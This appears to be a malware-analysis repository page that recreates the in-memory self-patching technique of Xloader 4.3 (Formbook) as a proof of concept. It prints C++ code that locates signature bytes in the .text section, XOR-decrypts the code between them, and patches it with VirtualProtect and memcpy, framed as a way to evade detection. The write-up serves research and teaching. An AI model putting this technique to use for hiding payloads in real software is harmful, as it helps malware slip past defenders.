MalwareAnalysisSeries

This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

Xloader4.3 AKA Formbook: Memory Patching

Xloader Image

This is a memory patch TTP extracted from Xloader4.3. The xloader AKA formbook, hides its core malicious functionality under the guise of encrypted core malicious functions that are patched at run-time in the memory during its exectution. This POC aims to recreate a simplified version of xloader memory patching ttp by finding encrypted signature bytes, then decrypt and execute those bytes.

Implementation

Adding Signature Bytes

In xloader aka formbook malware, there are encrypted malicious functions in the executing .text section that are encased in the identifier or signature bytes. In the previous versions of formbook malware the magic bytes were something like 49909090, 489090909 and so on. The malware when executed first identifies these identifiers in the virtual memory of executing malware process and decrypts the bytes that are encased between signature bytes. After the decryption, the plain bytes were patched over these encrypted bytes and that’s how the malware continues with its execution. To understand in detail: read my report on xloader4.3 analysis

In this PoC, i have used simple inline assembly to demonstrate how we can encrpyt the malicious code inside the .text section and execute the binary also avoiding the corruption and crashes.

__asm {
    nop //9090909090
    nop
    nop
    nop
    nop

    push showCmd           // nShowCmd
    push directory         // lpDirectory
    push parameters        // lpParameters
    push file              // lpFile
    push operation         // lpOperation
    push 0                 // hWnd
    mov eax, pShellExecuteA
    call eax               // Call ShellExecuteA

    nop
    nop
    nop
    nop
    nop
}

This inline assembly is simply exeuting a command with ShellExecuteA API. The instructions are encased in the signature bytes. In the final release, i will replace the encased bytes with encrypted version and patch the release using any hex editor.

Read Process Memory

In order to find and replace (patch) the encrypted bytes with decrypted opcodes. We need to find the signature bytes in the memory of process. To do that, the first step is to read the process memory and find .text section:

    // Get a handle to the current process
    HANDLE hProcess = GetCurrentProcess();

    // Get the base address of the executable module
    HMODULE hModule;
    if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, reinterpret_cast<LPCWSTR>(&main), &hModule)) {
        std::cerr << "Failed to get module handle." << std::endl;
        return {};
    }

    // Get the DOS header
    IMAGE_DOS_HEADER dosHeader;
    if (!ReadProcessMemory(hProcess, hModule, &dosHeader, sizeof(dosHeader), nullptr)) {
        std::cerr << "Failed to read DOS header." << std::endl;
        return {};
    }

    // Get the NT headers
    IMAGE_NT_HEADERS ntHeaders;
    if (!ReadProcessMemory(hProcess, reinterpret_cast<BYTE*>(hModule) + dosHeader.e_lfanew, &ntHeaders, sizeof(ntHeaders), nullptr)) {
        std::cerr << "Failed to read NT headers." << std::endl;
        return {};
    }

    // Get the section headers
    IMAGE_SECTION_HEADER sectionHeader;
    DWORD textSectionRVA = 0; // RVA of the .text section
    DWORD textSectionSize = 0; // Size of the .text section

    // Iterate over the section headers to find the .text section
    for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; ++i) {
        if (!ReadProcessMemory(hProcess, reinterpret_cast<BYTE*>(hModule) + dosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)),
            &sectionHeader, sizeof(sectionHeader), nullptr)) {
            std::cerr << "Failed to read section header." << std::endl;
            return {};
        }
        if (strcmp(reinterpret_cast<const char*>(sectionHeader.Name), ".text") == 0) {
            textSectionRVA = sectionHeader.VirtualAddress;
            textSectionSize = sectionHeader.SizeOfRawData;
            break;
        }
    }

    if (textSectionRVA == 0) {
        std::cerr << "Failed to find .text section." << std::endl;
        return {};
    }

    // Read the .text section into memory
    std::vector<unsigned char> buffer(textSectionSize);
    SIZE_T bytesRead;
    if (!ReadProcessMemory(hProcess, reinterpret_cast<BYTE*>(hModule) + textSectionRVA, buffer.data(), textSectionSize, &bytesRead)) {
        std::cerr << "Failed to read .text section." << std::endl;
        return {};
    }

Find signature bytes

To find signature bytes, i am looking for 2 occurances of the signature bytes in the whole .text section of the binary. The first occurance of signature bytes is where my encrypted code starts and the 2nd occurance of signature bytes is where my encrypted code ends. Anything in between these 2 occurances must be decrypted and patched for this technique to work.

    // Finding Signature Bytes
    std::cout << "[x] Finding signature bytes....!!!" << std::endl;
    std::vector<unsigned char> signature = { 0x90, 0x90, 0x90, 0x90, 0x90 };

    std::size_t bytesBetween;
    std::size_t bufferLength = buffer.size(); // buffer contains whole .text section
    std::size_t signatureLength = signature.size();
    std::size_t firstIndex = std::string::npos; // Initialize first index to not found

    for (std::size_t i = 0; i <= bufferLength - signatureLength; ++i) {
        bool found = true;
        for (std::size_t j = 0; j < signatureLength; ++j) {
            if (buffer[i + j] != signature[j]) {
                found = false;
                break;
            }
        }
        if (found) {
            if (firstIndex == std::string::npos) {
                // First occurrence of the signature, store its index
                firstIndex = i;
            }
            else {
                // Calculate the number of bytes between two occurrences
                bytesBetween = i - firstIndex - signatureLength;
                std::cout << "Number of bytes between two occurrences: " << bytesBetween << std::endl;
            }
        }
    }
}

Patch the bytes

Now that encrypted bytes are found, I calculate their relative virutal address after skipping the signature bytes and also find the actual address of that specific location in memory. I used simple xor function to encrypt/decrypt the bytes. The patch function simply changes the protection to allow Write permission as well, just in case. Then i copy the decrypted bytes over the encrypted buffer and changes back to the original memory protections.

void PatchCurrentProcessMemory(void* destination, void* source, size_t size) {
    
    // Change memory protection to execute-read-write
    DWORD oldProtect;
    if (!VirtualProtect(destination, size, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "Failed to change memory protection." << std::endl;
        return;
    }

    // Copy the new bytes into the destination
    memcpy(destination, source, size);

    // Restore the original memory protection
    DWORD temp;
    VirtualProtect(destination, size, oldProtect, &temp);
}

Memory Patch shown in HexEditor

Xloader patching Image

The above screenshot explains the simple process of preparing the binary (payload) by patching encrypted bytes to its text section for delivery.

  1. Highlighted yellow bytes represent signature bytes
  2. Red bytes are encrypted bytes added to the original binary. These encrypted bytes will avoid detection and will be decrypted by malware itself on execution before reaching that particular address space in memory. Without decryption & patching, the program will crash.

In the scenario of Xloader4.3 malware, it had included whole malicious functions inside the signature bytes and kept in the encrypted format that are decrypted by program itself on execution before reaching to that particular area in memory. Hence, evading defenses by completely modifying and changing itself. More details are available in the PDF report of xloader4.3

Reverse Engineering

I have attached a debugger to the PoC release binary and set a breakpoint on memcpy function that is patching the bytes. In the following GIF, you can see before memcpy is called the bytes are different and after memcpy is called, the bytes are patched.

MemoryPatch GIF

Execute

To understand the process easily, just execute the compiled binary (available in release directory) in cmdline and map the printed details in memory…!!!

For Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

The artifacts and code for this repository are intended for Educational purposes only!